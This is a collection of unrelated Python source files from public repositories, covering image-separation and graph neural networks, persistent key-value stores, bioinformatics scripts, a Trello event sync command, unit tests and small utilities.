ImageDecBlock(32*3+16+64, 16) self.cba_output_1 = Conv2D_BN_activa(16*3+1, 16, 3, 1, 1) self.cba_output_2 = Conv2D_BN_activa(16, 3, 3, 1, 1) def forward(self, c_features, enhanced_features, x_g): x_bb_1, x_bb_2, x_bb_3, x_bb_4, x_c = c_features x_enhanced_1, x_enhanced_2, x_enhanced_3, x_enhanced_4 = enhanced_features x = self.feature_extraction_layers_A(x_c) x = self.image_dec_block_1(x) x = torch.cat([x, x_bb_4, x_enhanced_1], dim=1) x = self.image_dec_block_2(x) x = torch.cat([x, x_bb_3, x_enhanced_2], dim=1) x = self.feature_extraction_layers_B(x) x = self.image_dec_block_3(x) x = torch.cat([x, x_bb_2, x_enhanced_3], dim=1) x = self.image_dec_block_4(x) x = torch.cat([x, x_bb_1, x_enhanced_4], dim=1) x = self.image_dec_block_5(x) # print(x.shape, x_g.shape) x = torch.cat([x, x_g], dim=1) x = self.cba_output_1(x) est_b = self.cba_output_2(x) return est_b class EnhancementLayers(nn.Module): def __init__(self): super(EnhancementLayers, self).__init__() self.enhancement_layers_1 = Conv2D_BN_activa(256, 128, 7, 1, 3) self.enhancement_layers_2 = Conv2D_BN_activa(128, 64, 7, 1, 3) self.enhancement_layers_3 = Conv2D_BN_activa(64, 32, 7, 1, 3) self.enhancement_layers_4 = Conv2D_BN_activa(32, 16, 7, 1, 3) def forward(self, to_be_enhanced_features): x_enhanced_1 = self.enhancement_layers_1(to_be_enhanced_features[0]) x_enhanced_2 = self.enhancement_layers_2(to_be_enhanced_features[1]) x_enhanced_3 = self.enhancement_layers_3(to_be_enhanced_features[2]) x_enhanced_4 = self.enhancement_layers_4(to_be_enhanced_features[3]) return x_enhanced_1, x_enhanced_2, x_enhanced_3, x_enhanced_4 class CoRRN(nn.Module): def __init__(self): super(CoRRN, self).__init__() self.encoder_context = CencN() self.decoder_gradient = GdecN() self.enhancement_layers = EnhancementLayers() self.decoder_image = IdecN(in_channels=256) def forward(self, x): c_features = self.encoder_context(x) g_features = self.decoder_gradient(c_features[:-1]) enhanced_features = self.enhancement_layers(g_features[:-1]) est_b = self.decoder_image(c_features, enhanced_features, g_features[-1]) estimations = {'r': x-est_b, 'g': g_features[-1], 'b': est_b} return estimations
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wikipediabase/persistentkv.py
fakedrake/WikipediaBase
1
21388
""" Some persistent maps (gdbm) require special encoding of keys and/or values. This is an abstraction for these kinds of quirks. """ from itertools import imap import collections import gdbm as dbm import json from sqlitedict import SqliteDict import os class EncodedDict(collections.MutableMapping): """ Subclass this and provide any of the following (see implementatiokn for signatures) - db - _init() - _encode_key - _decode_key. """ def __init__(self, wrapped=None): self.db = wrapped if wrapped is not None else dict() def _encode_key(self, key): """ Override to encode keys coming in. """ return key def _decode_key(self, key): """ Override to encode keys going out. """ return key def __del__(self): del self.db def __setitem__(self, key, val): self.db[self._encode_key(key)] = val def __getitem__(self, key): return self.db[self._encode_key(key)] def __contains__(self, key): return self._encode_key(key) in self.keys() def __delitem__(self, key): del self.db[self._encode_key(key)] def __iter__(self): return imap(self._decode_key, self.db.keys()) def __len__(self): return len(self.db) def keys(self): return list(self) def values(self): return self.db.values() def items(self): return [(self._decode_key(key), v) for key,v in self.db.iteritems()] def to_json(self, filename): json.dump([(k,v) for k,v in self.db.iteritems()], open(filename, 'w')) def from_json(self, filename): for k,v in json.load(open(filename)): self.db[k] = v class DbmPersistentDict(EncodedDict): """ Persistent dict using dbm. Will open or create filename. """ def __init__(self, filename): flag = 'w' if os.path.exists(filename) else 'n' super(DbmPersistentDict, self).__init__(dbm.open(filename, flag)) def _encode_key(self, key): # Asciify if isinstance(key, unicode): return key.encode('unicode_escape') return str(key) def _decode_key(self, key): # Unicodify return key.decode('unicode_escape') class SqlitePersistentDict(EncodedDict): def __init__(self, filename): if not filename.endswith('.sqlite'): filename += '.sqlite' db = SqliteDict(filename) super(SqlitePersistentDict, self).__init__(db) def __del__(self): self.db.close() super(SqlitePersistentDict, self).__del__() """ Some info on performance: >>> import timeit >>> sqlkv = SqlitePersistentDict('/tmp/bench1.sqlite') >>> timeit.timeit(lambda : benchmark_write(sqlkv), number=100) 10.847157955169678 >>> timeit.timeit(lambda : benchmark_read(sqlkv), number=100) 18.88098978996277 >>> dbmkv = DbmPersistentDict('/tmp/bench.dbm') >>> timeit.timeit(lambda : benchmark_write(dbmkv), number=100) 0.18030309677124023 >>> timeit.timeit(lambda : benchmark_read(dbmkv), number=100) 0.14914202690124512 SqliteDict is a pretty thin wrapper around sqlite, I would probably not have made it much thinner. Just use Dbm. Keep this around in case anyone considers changing to sqlite. XXX: see how gdbm does when data is larger than memory. Also check out bsddb """ # PersistentDict = SqlitePersistentDict PersistentDict = DbmPersistentDict def benchmark_write(dic, times=100000): for i in xrange(times): dic['o' + str(i)] = str(i) * 1000 def benchmark_read(dic, times=100000): for i in xrange(times): dic['o' + str(i)]
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web/apps/web_copo/context_processors.py
rpatil524/COPO
0
171273
<reponame>rpatil524/COPO __author__ = '<EMAIL> - 27/05/15' from dal import Profile_Status_Info def get_status(request): # call method to obtain number of profiles which have outstanding issues issues = Profile_Status_Info().get_profiles_status() if issues['num_issues'] == 0: return {'num_issues': ''} else: return {'num_issues': issues['num_issues'], 'issue_description_list': issues['issue_description_list']} def add_partial_submissions_to_context(request): return {'partial_submissions': 'ommitted'}
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fastq/randomly_sample_fastq.py
linsalrob/EdwardsLab
30
179774
""" Randomly sample a fraction of a fastq file and just create one file Note that if -p is 100 you will randomize the order of sequences in the file """ import os import sys import argparse from random import sample from roblib import stream_fastq, message __author__ = '<NAME>' __copyright__ = 'Copyright 2020, <NAME>' __credits__ = ['<NAME>'] __license__ = 'MIT' __maintainer__ = '<NAME>' __email__ = '<EMAIL>' if __name__ == '__main__': parser = argparse.ArgumentParser(description="Randomly sample a single fastq file") parser.add_argument('-f', help='fastq file to sample', required=True) parser.add_argument('-o', help='output file name', required=True) parser.add_argument('-p', help='percent of the file to sample', type=int) parser.add_argument('-s', help='maxium size to write (Human readable format ok: K, M, G. eg 100M)') parser.add_argument('-v', help='verbose output', action='store_true') args = parser.parse_args() if not args.s and not args.p: message("Either -s or -p must be provided", "RED") exit(-1) sequences = [] for seqid, header, seq, qualscores in stream_fastq(args.f): sequences.append([header, seq, qualscores]) n = len(sequences) maxsize = 1e20 if args.s: size = args.s # convert the units to 1000's size_name = ["B", "K", "M", "G", "T", "P", "E", "Z", "Y"] try: if size[-1] in size_name: unit = size[-1] maxsize = (1024 ** size_name.index(unit)) * int(size[:-1]) message(f"Limiting to {maxsize}", "GREEN") else: maxsize = int(size) except ValueError as e: message(f"Can't parse size from {size}", "RED", stderr=True) exit(-1) if args.p: n = int(args.p/100 * len(sequences)) if args.v: message(f"There are {len(sequences)} sequences. So we will sample {n} elements", "GREEN") processed_size = 0 with open(args.o, 'w') as out: for s in sample(sequences, n): out.write(f"@{s[0]}\n{s[1]}\n+\n{s[2]}\n") processed_size += len(s[1]) if processed_size > maxsize: break
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predictor.py
WangShouDao/ecs
1
119527
<gh_stars>1-10 def count_time(time1, time2): monthDay = [31,28,31,30,31,30,31,31,30,31,30,31] if time1[0] % 4 !=0: if time2[1] == time1[1]: count = time2[2] - time1[2] else: count = time2[2] - time1[2] + monthDay[time1[1] - 1] elif time1[0] % 400 != 0: if time2[1] == time1[1]: count = time2[2] - time1[2] else: count = time2[2] - time1[2] + monthDay[time1[1] - 1] else: if time2[1] == time1[1]: count = time2[2] - time1[2] elif time2[1] == 3: count = time2[2] - time1[2] + 29 else: count = time2[2] - time1[2] + monthDay[time1[1] - 1] return count def read_input(input_lines): values = input_lines[0].split(' ') cpu = values[0] memory = int(values[1]) * 1024 disk = values[2] value = int(input_lines[2]) flavorArray = [] inputDict = {} for i in range(3, value + 3): values = input_lines[i].split(' ') flavorName = values[0] cpuSize = values[1] memorySize = values[2].strip() flavorArray.append(flavorName) inputDict[flavorName] = {'cpu':cpuSize, 'memory':memorySize} kind = input_lines[value + 4].strip() startTime = map(int,input_lines[value + 6].strip().split(' ')[0].split('-')) endTime = map(int,input_lines[value + 7].strip().split(' ')[0].split('-')) count = count_time(startTime, endTime) print count,startTime,endTime return cpu,memory,kind,count,flavorArray,inputDict def linear_regression(x,y,k,count): N = float(len(x)) sx, sy, sxx, syy, sxy = 0, 0, 0, 0, 0 for i in range(0, int(N)): sx += x[i] sy += y[i] sxx += x[i] * x[i] syy += y[i] * y[i] sxy += x[i] * y[i] a = (sy * sx / N - sxy) / (sx * sx / N - sxx) b = (sy - a * sx) / N # r = abs(sy * sx / N - sxy) / math.sqrt((sxx - sx * sx / N) * (syy - sy * sy / N)) sum = 0 for i in range(k+1,count+k+1): y = a * i + b if y>=0: sum += int(y) else: continue return int(sum) def read_ecs(ecs_lines,flavorArray,result,inputDict,count): flavorDict = {} inputDataDict = {} for item in inputDict: inputDataDict[item] = {} k = 0 sum = 0 createTimeArray = [] for item in ecs_lines: values = item.split("\t") uuid = values[0] flavorName = values[1] createTime = values[2].strip().split(' ')[0] if flavorName not in inputDict: continue elif createTime not in createTimeArray: createTimeArray.append(createTime) k+=1 for key in inputDataDict: inputDataDict[key][k] = 0 inputDataDict[flavorName][k] = 1 else: inputDataDict[flavorName][k] += 1 for item in inputDataDict: x = [] y = [] for k,v in inputDataDict[item].items(): x.append(k) y.append(v) n = linear_regression(x,y,k,count) flavorDict[item] = n sum += n result.append(sum) for item in flavorDict: result.append(item + ' '+ str(flavorDict[item])) return flavorDict,result def put_vm(kind,cpu,memory,flavorDict,inputDict, result): k = 0 CPU = [cpu] MEM = [memory] placeDict = {1:{},} flavorSort = [] temp = sorted(flavorDict.items(), key = lambda item:int(item[0][6:]),reverse = True) [flavorSort.append(item[0]) for item in temp] for item in flavorSort: while flavorDict[item] > 0: for i in range(0,k+1): flag = True if int(CPU[i]) >= int(inputDict[item]['cpu']) and int(MEM[i]) >= int(inputDict[item]['memory']): CPU[i] = int(CPU[i]) - int(inputDict[item]['cpu']) MEM[i] = int(MEM[i]) - int(inputDict[item]['memory']) flavorDict[item] = int(flavorDict[item]) - 1 flag = False if item not in placeDict[i+1]: placeDict[i+1][item] = 1 else: placeDict[i+1][item] += 1 elif i < k: continue elif i==k and flag: k+=1 CPU.append(cpu) MEM.append(memory) CPU[k] = int(cpu) - int(inputDict[item]['cpu']) MEM[k] = int(memory) - int(inputDict[item]['memory']) flavorDict[item] = int(flavorDict[item]) - 1 placeDict[k+1] = {item:1} else: break result.append('\n' + str(len(placeDict))) for item in placeDict: temp = str(item) for key in placeDict[item]: temp = temp + ' ' + key + ' ' + str(placeDict[item][key]) result.append(temp) return result def predict_vm(ecs_lines, input_lines): # Do your work from here# result = [] if ecs_lines is None: print 'ecs information is none' return result if input_lines is None: print 'input file information is none' return result cpu, memory, kind, count, flavorArray,inputDict=read_input(input_lines) flavorDict, result = read_ecs(ecs_lines,flavorArray,result,inputDict,count) result=put_vm(kind,cpu,memory,flavorDict,inputDict,result) return result
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counting.py
codecakes/random_games
0
1601024
from collections import Counter def counting(arr): '''creating an indexed counting array using Optimal Counter module''' count = Counter(arr) return [count.get(i, 0) for i in xrange(max(count.viewkeys()))]
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python-resources/Translate.py
pasteben/bioinformatics-app
0
136989
<reponame>pasteben/bioinformatics-app # DNA Toolset/Code testing file from DNAToolkit import * import sys import json import base64 content = json.loads(base64.b64decode(sys.argv[1])) if "dataset" in content: dataset = content["dataset"] FASTADict = {} FASTALabel = "" for line in dataset.splitlines(): if '>' in line: FASTALabel = line FASTADict[FASTALabel] = "" else: FASTADict[FASTALabel] += line data = [] for (key, value) in FASTADict.items(): result = { "label": key, "sequence": value } if "window" in content: result["amino_acid_sequence"] = translate_subseq(value, int(content["window"])) else: result["amino_acid_sequence"] = translate_seq(value) data.append(result) if "sequence" in content: sequence = validateSeq(content["sequence"]) data = { "sequence": sequence } if "window" in content: data["amino_acid_sequence"] = translate_subseq(sequence, int(content["window"])) else: data["amino_acid_sequence"] = translate_seq(sequence) print(json.dumps({ "data": data }))
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core/management/commands/sync_events_dashboard.py
vanessa/djangogirls
446
43268
import datetime import re import time from collections import namedtuple from django.conf import settings from django.core.management.base import BaseCommand from trello import ResourceUnavailable, TrelloClient from core.models import Event # Create new command class Command(BaseCommand): help = 'Syncs event in trello board. Need a token.' missing_args_message = ( 'You need to add a token! Get one here: ' 'https://trello.com/1/authorize?key=01ab0348ca020573e7f728ae7400928a&scope=read%2Cwrite&' 'name=My+Application&expiration=1hour&response_type=token' ) def add_arguments(self, parser): parser.add_argument('trello_token', type=str) def handle(self, *args, **options): token = options['trello_token'] events = event_list() sync(events, token) # Get data EventTuple = namedtuple('EventTuple', 'name id city date') def event_list(): event = Event.objects.all() result = [] for e in event: name = e.name _id = str(e.pk) city = e.city date = datetime.date(e.date.year, e.date.month, e.date.day or 1) result.append(EventTuple(name, _id, city, date)) return result # Sync to trello ADMIN_BASE_URL = 'https://djangogirls.org/admin/core/event/' def sync(events, token): trello = TrelloClient(api_key=settings.TRELLO_API_KEY, token=token) board = trello.get_board('55f7167c46760fcb5d68b385') far_away, less_2_months, less_1_month, less_1_week, today, past = board.all_lists() all_cards = {card_id(c): c for c in board.all_cards()} date_today = datetime.date.today() for e in events: card = all_cards.get(e.id) if not card: card = create_card(e, far_away) create_checklist(card) # fetch card to get due date try: card.fetch() except ResourceUnavailable: print("Oopsie: too many requests! Let's wait 10 seconds!") time.sleep(10) card.fetch() if e.date != card.due_date.date(): print('Changing due date of {} to {}'.format(e.city, e.date)) card.set_due(e.date) distance = (e.date - date_today).days if distance < 0: right_list = past elif distance == 0: right_list = today elif distance < 7: right_list = less_1_week elif distance < 30: right_list = less_1_month elif distance < 60: right_list = less_2_months else: right_list = far_away ensure_card_in_list(card, right_list) def card_id(card): m = re.search(ADMIN_BASE_URL + r'(\d+)', card.desc) return m.group(1) def create_card(event, list): print('Creating card {} ({})'.format(event.city, event.date.isoformat())) return list.add_card(name=event.city, desc=ADMIN_BASE_URL + event.id, due=event.date.isoformat()) def create_checklist(card): card.add_checklist("Things to do:", [ "2 month check", "1 month check", "Thank you email and request for stats", "Stats obtained"]) def ensure_checklist_in_card(card): if not card.checklists: print("Adding checklist to {} card.".format(card.name)) create_checklist(card) def ensure_card_in_list(card, list): if card.list_id != list.id: print('Moving {} to {}'.format( card.name, list.name)) card.change_list(list.id)
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model_time_shift.py
papersubmittest/subm
2
97980
import sys import time import torch import random import numpy as np import torch.nn as nn import torch.nn.functional as F from torch.autograd import Variable from util_torch import graphs_re,choice_by_prob,gumbel_softmax,graphs_threshold class GNN_Block(nn.Module): def __init__(self,input_size,output_size,gnn_layers = 1,dropout =0.3): super(GNN_Block,self).__init__() self.input_size = input_size self.output_size = output_size self.gnn_layers = gnn_layers self.dropout = dropout #gcn init self.MLP = nn.ModuleList() for i in range(self.gnn_layers): if i == 0: self.MLP.append( nn.Sequential(nn.Linear(input_size,output_size), nn.PReLU(), nn.Dropout(self.dropout)) ) else: self.MLP.append( nn.Sequential(nn.Linear(output_size,output_size), nn.PReLU(), nn.Dropout(self.dropout)) ) nn.init.xavier_normal_(self.MLP[-1][0].weight) def forward(self,x,adj): ''' x.shape: B*channel*N*T adj.shape: N*N ''' B,N,c = x.shape out = [x] # layers gnn for i in range(self.gnn_layers): ##gnn block if len(adj.shape) == 2: x = torch.einsum('nm,bmk->bnk',(adj,out[-1])) else: x = torch.einsum('bnm,bmk->bnk',(adj,out[-1])) x = x.contiguous() #B*N*(T*rnn_dim) x = self.MLP[i](x) out.append(x) out = out[1:] #[B*N*k,B*N*k,.....] out = torch.stack(out,dim = 2) #B*N*layers*k return out class Multi_embed(nn.Module): def __init__(self,multi_embeddings): ''' multi_embeddings: [] e.g. [[24,4],[7,2],[12,3]->[[hour embedding],[weekday embedding],[month embedding]] ''' super(Multi_embed,self).__init__() self.embeddings = nn.ModuleList() for vocab_size,dim in multi_embeddings: self.embeddings.append(nn.Embedding(vocab_size,dim)) nn.init.xavier_normal_(self.embeddings[-1].weight) def forward(self,x): B,N,T,c = x.shape res = [] for i in range(x.shape[-1]): ### the input of embedding must be LongTensor res.append(self.embeddings[i](x[:,:,:,i].long())) return torch.cat(res,dim = -1) #B*N*T*-1 class Auto_graph_learner(nn.Module): def __init__(self,num_nodes,sparse,agl_dim = 32): ''' num_nodes: sparse: sparse number (int) ''' super(Auto_graph_learner,self).__init__() self.num_nodes = num_nodes self.sparse = sparse self.new_supports = nn.Parameter(torch.ones(num_nodes, num_nodes), requires_grad=True) self.agl_node = nn.Parameter(torch.randn(num_nodes,agl_dim)) self.agl_dim =agl_dim nn.init.xavier_normal_(self.agl_node) def forward(self,): ### self.sparse set: about 20-30node is resonable new_supports = self.new_supports #torch.matmul(self.nodevec1, self.nodevec2) # new_supports = torch.einsum('nk,mk->nm',self.agl_node,self.agl_node)/(self.agl_dim**0.5) if self.training: new_supports = F.softmax(new_supports,dim = -1) new_supports = torch.log(new_supports) cur = torch.zeros_like(new_supports) for i in range(int(self.sparse)): cur += gumbel_softmax(new_supports,0.5) new_supports = cur/float(int(self.sparse)) else: new_supports = graphs_re(new_supports,sparse = self.sparse) new_supports[new_supports<=0] = -1e15 new_supports = F.softmax(new_supports, dim=-1) return new_supports class Attentional_relation_learner(nn.Module): def __init__(self,num_nodes,group_k,input_dim,hidden_dim,out_dim,qkdim=128): ''' Node pay more attention to more appropriate relation/graph (e.g. Identity, Latent graph, Predifined graph) num_nodes: group_k: relation count (layers*relations) input_dim: input dimension hidden_dim: out_dim: output dimension ''' super(Attentional_relation_learner, self).__init__() self.num_nodes = num_nodes self.group_k = group_k self.input_dim = input_dim self.hidden_dim = hidden_dim self.out_dim = out_dim self.qkdim = qkdim self.Weight_q = nn.Parameter(torch.randn(self.num_nodes,self.qkdim),requires_grad=True) self.W_k = nn.Linear(self.input_dim,self.qkdim) self.W_v = nn.Sequential( nn.Linear(self.group_k*self.input_dim,self.hidden_dim), nn.ReLU(), nn.Linear(self.hidden_dim,self.out_dim), ) nn.init.xavier_normal_(self.Weight_q) nn.init.xavier_normal_(self.W_k.weight) nn.init.xavier_normal_(self.W_v[0].weight) nn.init.xavier_normal_(self.W_v[2].weight) def forward(self,x): ''' ''' B,N,group_k,input_dim=x.shape if group_k != self.group_k or input_dim!=self.input_dim:assert False K,V = x,x Q = self.Weight_q #N*k_dim K = self.W_k(K) #B*N*L*k_dim attention = torch.einsum('nk,bnlk->bnl',Q,K)/(self.qkdim**0.5) attention = F.softmax(attention,dim = -1) V = attention.reshape(B,N,-1,1) * V # V = torch.einsum('bng,bngk->bnk',attention,V) V = V.reshape(B,N,-1) V = self.W_v(V) #B*N*out_dim return V class LSTM_skip(nn.Module): def __init__(self,in_channel,out_channel,window = 24): super(LSTM_skip,self).__init__() self.window = window self.rnncell = nn.LSTMCell(in_channel,out_channel) self.w_skip = nn.Linear(out_channel,out_channel) self.h0 = nn.Parameter(torch.randn(1, out_channel)) self.c0 = nn.Parameter(torch.randn(1, out_channel)) nn.init.xavier_normal_(self.w_skip.weight) nn.init.xavier_normal_(self.h0) nn.init.xavier_normal_(self.c0) def forward(self,x): B,T,c = x.shape hx = self.h0.repeat(B,1) cx = self.c0.repeat(B,1) output = [] for i in range(T): if i>=self.window: hx, cx = self.rnncell(x[:,i], (hx+self.w_skip(output[i-self.window]), cx)) else: hx, cx = self.rnncell(x[:,i], (hx, cx)) output.append(hx) output = torch.stack(output,axis = 1) return output,(hx,cx) class A2GCN(nn.Module): def __init__(self,num_nodes,in_T,in_dim,out_T,out_dim=1,multi_embeddings=None,predefined_G=None, sparse=15,agl_dim = 32, cnn_kernel = 3, gnn_layers=2,dropout=0.3,channel=32,gnn_channel=None,attentional_relation_channel=None, device=None): #,**kwargs): ''' num_nodes: in_T: historical length in_dim: out_T: forecasting future length out_dim: forecasting future dimension, usually is 1 multi_embeddings: when the input have some temporal discrete feature, like month, weekday, holiday, etc. need to notice that, the input must ---> continuous features (k-dim) ||cat discrete features (in_T - k-dim) predefined_G: user predifined graph sparse (int): learnable matrix/graph sparsity gnn_layers: the layers of gnn dropout: channel: use this part to set all the hidden dimension of A2GCN device: cpu or cuda:0 or cuda:1 ''' super(A2GCN, self).__init__() self.num_nodes = num_nodes self.in_T = in_T self.in_dim = in_dim self.out_T = out_T self.out_dim = out_dim channel = channel gnn_channel = channel*8 if gnn_channel is None else gnn_channel attentional_relation_channel = channel*16 if attentional_relation_channel is None else attentional_relation_channel self.multi_embeddings = multi_embeddings if self.multi_embeddings is not None: self.embeds = Multi_embed(multi_embeddings) self.start_fc = nn.Linear( in_dim-len(self.multi_embeddings)+sum([j for i,j in self.multi_embeddings]), channel) self.start_cnn = torch.nn.Conv2d(in_dim-len(self.multi_embeddings)+sum([j for i,j in self.multi_embeddings]),channel,kernel_size=(1,cnn_kernel),padding = (0,cnn_kernel//2)) else: self.embeds = None self.start_fc = nn.Linear(in_dim,channel) self.start_cnn = torch.nn.Conv2d(in_dim,channel,kernel_size=(1,3),padding = (0,1)) self.start_rnn = nn.LSTM(channel,channel,batch_first = True) # self.start_rnn = LSTM_skip(channel,channel) self.latent_graph = Auto_graph_learner(num_nodes,sparse,agl_dim) self_adj = nn.Parameter(torch.eye(num_nodes,num_nodes)*1.0, requires_grad=False) self.graphs = predefined_G if predefined_G is not None else [] self.len_pre = len(self.graphs) self.graphs.append(self_adj) self.graphs = [i.to(device) for i in self.graphs] print('len graphs is {}'.format(len(self.graphs))) self.node_embedding = nn.Parameter(torch.randn(2,num_nodes,32)) self.gnns = nn.ModuleList() for i in range(len(self.graphs)+1): self.gnns.append(GNN_Block(in_T*channel,gnn_channel,gnn_layers,dropout)) #### out_dim must equal to 1. self.relation_learner = Attentional_relation_learner(num_nodes,gnn_layers*(len(self.graphs)+1),gnn_channel,attentional_relation_channel,self.out_T*self.out_dim) nn.init.xavier_normal_(self.start_fc.weight) nn.init.xavier_normal_(self.start_cnn.weight) nn.init.xavier_normal_(self.node_embedding) def forward(self, x): if x.shape[3]<self.in_T: x = nn.functional.pad(x,(self.in_T-x.shape[3],0,0,0)) B,channel,N,T = x.shape x = x.permute(0,2,3,1).contiguous() if self.multi_embeddings is not None: temp = len(self.multi_embeddings) #discrete features embedding x = torch.cat([x[:,:,:,:-temp],self.embeds(x[:,:,:,-temp:])],dim = -1) #x = self.start_fc(x) # use cnn for data x = x.permute(0,3,1,2) #->B*C*N*T x = self.start_cnn(x) x = x.permute(0,2,3,1) x = x.reshape(B*N,T,-1) x,(hn,cn) = self.start_rnn(x) # x = self.start_T_att(x) x = x.contiguous().reshape(B,N,-1) relation = torch.einsum('ink,imk->inm',self.node_embedding,self.node_embedding)/(32**0.5) groups_fea=[] for i in range(len(self.gnns)): _adj = self.graphs[i] if i != len(self.gnns)-1 else self.latent_graph() if i <self.len_pre: _adj = (_adj>0)*relation[i] groups_fea.append(self.gnns[i](x,_adj)) groups_fea = torch.cat(groups_fea,dim = 2) out = self.relation_learner(groups_fea) out = out.reshape(B,N,self.out_T,self.out_dim).permute(0,2,1,3).contiguous() return out if __name__ == '__main__': test_model = A2GCN(num_nodes=100,in_T=12,in_dim=3,out_T=6,out_dim=1,multi_embeddings=None,predefined_G=[torch.randn(100,100)],sparse=15,gnn_layers=2,dropout=0.3,channel=32) x = torch.randn(5,3,100,12) out = test_model(x) print(out.shape)
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scripts/data_handeling/calculate_areas_from_json.py
dekelmeirom/pathologylab
0
139566
<gh_stars>0 #!/usr/bin/env python import json import numpy as np import os import csv import argparse def poly_area(x, y, absoluteValue = True): result = 0.5 * np.abs(np.dot(x[:-1], y[1:]) + x[-1]*y[0] - np.dot(y[:-1], x[1:]) - y[-1]*x[0]) if absoluteValue: return abs(result) else: return result def calculate_areas_from_json(json_path, output_path): with open(json_path) as json_file: json_data = json.load(json_file) images = json_data["_via_img_metadata"] images_names = list(images.keys()) with open(os.path.join(output_path, "PDL_areas.csv"), mode='w', newline='') as csv_file: csv_writer = csv.writer(csv_file, delimiter=',') csv_writer.writerow(["image_name", "positive area", "negative area"]) for image_name in images_names: image = images[image_name] positive_area = 0 negative_area = 0 for region in image['regions']: area = poly_area(region["shape_attributes"]["all_points_x"], region["shape_attributes"]["all_points_y"]) if region['region_attributes']['type'] == '2': negative_area += area elif region['region_attributes']['type'] == '3': positive_area += area csv_writer.writerow([image_name, positive_area, negative_area]) def main(): parser = argparse.ArgumentParser(description='This script is ...' , formatter_class=argparse.RawTextHelpFormatter) parser.add_argument("--input", "-i", default="./CCD_Project.json", help="Path to where the json file is saved. default='./CCD_Project.json'") parser.add_argument("--output", "-o", default="./output", help="Directory name where the result csv file will be saved. default='./output'") args = parser.parse_args() calculate_areas_from_json(args.input, args.output) return if __name__ == "__main__": main()
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tests/test_vtkgenerator.py
donghaozhang/swc2vtk
9
99094
<gh_stars>1-10 # -*- coding: utf-8 -*- import unittest import os import swc2vtk class TestVtkGenerator(unittest.TestCase): @classmethod def setUpClass(cls): pass @classmethod def tearDownClass(cls): pass def setUp(self): self.swc_file_path = os.path.join('tests', 'simple.swc') self.data_file_path = os.path.join('tests', 'simple.dat') self.output_file_path = os.path.join('output.vtk') self.vtk_generator = swc2vtk.VtkGenerator() def tearDown(self): self.vtk_generator.write_vtk(self.output_file_path) def test_add_cylinder(self): self.vtk_generator.add_cylinder() def test_add_swc(self): simple_cmp_size = 11 self.vtk_generator.add_swc(self.swc_file_path) self.assertEqual(simple_cmp_size, len(self.vtk_generator.swc_list[0].data)) def test_add_swc_flip(self): simple_cmp_size = 11 self.vtk_generator.add_swc(self.swc_file_path, inv_x=True, inv_y=True, inv_z=True, shift_x=100, shift_y=100, shift_z=100) self.assertEqual(simple_cmp_size, len(self.vtk_generator.swc_list[0].data)) def test_add_datafile(self): simple_cmp_size = 11 self.vtk_generator.add_swc(self.swc_file_path) self.vtk_generator.add_datafile(self.data_file_path) self.assertEqual(simple_cmp_size, len(self.vtk_generator.swc_list[0].data)) def test_draw_mode1(self): self.vtk_generator.set_draw_mode(1) self.vtk_generator.add_swc(self.swc_file_path) def test_draw_mode2(self): self.vtk_generator.set_draw_mode(2) self.vtk_generator.add_swc(self.swc_file_path) def test_draw_mode3(self): self.vtk_generator.set_draw_mode(3) self.vtk_generator.add_swc(self.swc_file_path) def test_draw_mode4(self): self.vtk_generator.set_draw_mode(4) self.vtk_generator.add_swc(self.swc_file_path) def test_write_vtk_options(self): self.vtk_generator.add_swc(self.swc_file_path) self.vtk_generator.write_vtk(self.output_file_path, fixedval=True, movingval=True, coloring=True, diam_ratio=0.2, normalize_diam=True, radius_data=True, type_data=True) def test_write_volume_vtk(self): self.vtk_generator.add_swc(self.swc_file_path) self.vtk_generator.write_volume_vtk('simple.vtk', origin=(-10.0, -10.0, -10.0), ratio=(1, 1, 1), div=(20, 20, 20))\ def test_add_mark(self): self.vtk_generator.add_swc(self.swc_file_path) self.vtk_generator.add_mark() def test_add_swc_connection(self): self.vtk_generator.add_swc(self.swc_file_path) self.vtk_generator.add_swc_connection(0, 0, 100, 200) def suite(): suite = unittest.TestSuite() suite.addTests(unittest.makeSuite(TestVtkGenerator)) return suite if __name__ == '__main__': unittest.main()
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logger.py
PanDAWMS/harvester_monitoring
0
51009
import os import logging from pathlib import Path class ServiceLogger: def __init__(self, name, file, loglevel='DEBUG'): p = str(Path(file).parent) + '/logs/' i = 0 while True: if not os.path.exists(p): i = i + 1 p = str(Path(file).parents[i]) + '/logs/' else: self.dirpath = p break self.logger = self.__get_logger(loglevel, name) # private method def __get_logger(self, loglevel, name=__name__, encoding='utf-8'): log = logging.getLogger(name) level = logging.getLevelName(loglevel) log.setLevel(level) formatter = logging.Formatter('[%(asctime)s] %(filename)s:%(lineno)d %(levelname)-1s %(message)s') file_name = self.dirpath + name + '.log' fh = logging.FileHandler(file_name, mode='a', encoding=encoding) fh.setFormatter(formatter) log.addHandler(fh) return log
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nlp-disaster-analysis/feature.py
TeamAntriksh/Automated-Detection-of-Hazards
0
191489
<reponame>TeamAntriksh/Automated-Detection-of-Hazards import collections import functools import numpy as np import scipy.sparse named_features = collections.defaultdict(list) def feature(name): ''' decorator for specific classifier, the wrapped function should accept as an input a corpus and return a matrix of vector features. ''' def feature_wrapper(func): @functools.wraps(func) def wrapper(*args, **kwds): return func(*args, **kwds) named_features[name].append(wrapper) return wrapper return feature_wrapper def fitter(name, inputs): ''' The fitter function takes all features function that `name` owns and run them one by one on the inputs (corpus). Each of those functions return a matrix, which they are all concatenated into one big matrix (concatenated by extending lines). ''' matrices = [] for f in named_features[name]: matrices.append(f(inputs)) a = matrices[0] for b in matrices[1:]: try: a = np.concatenate((a, b), axis=1) except: a = scipy.sparse.hstack([a,b]) return a
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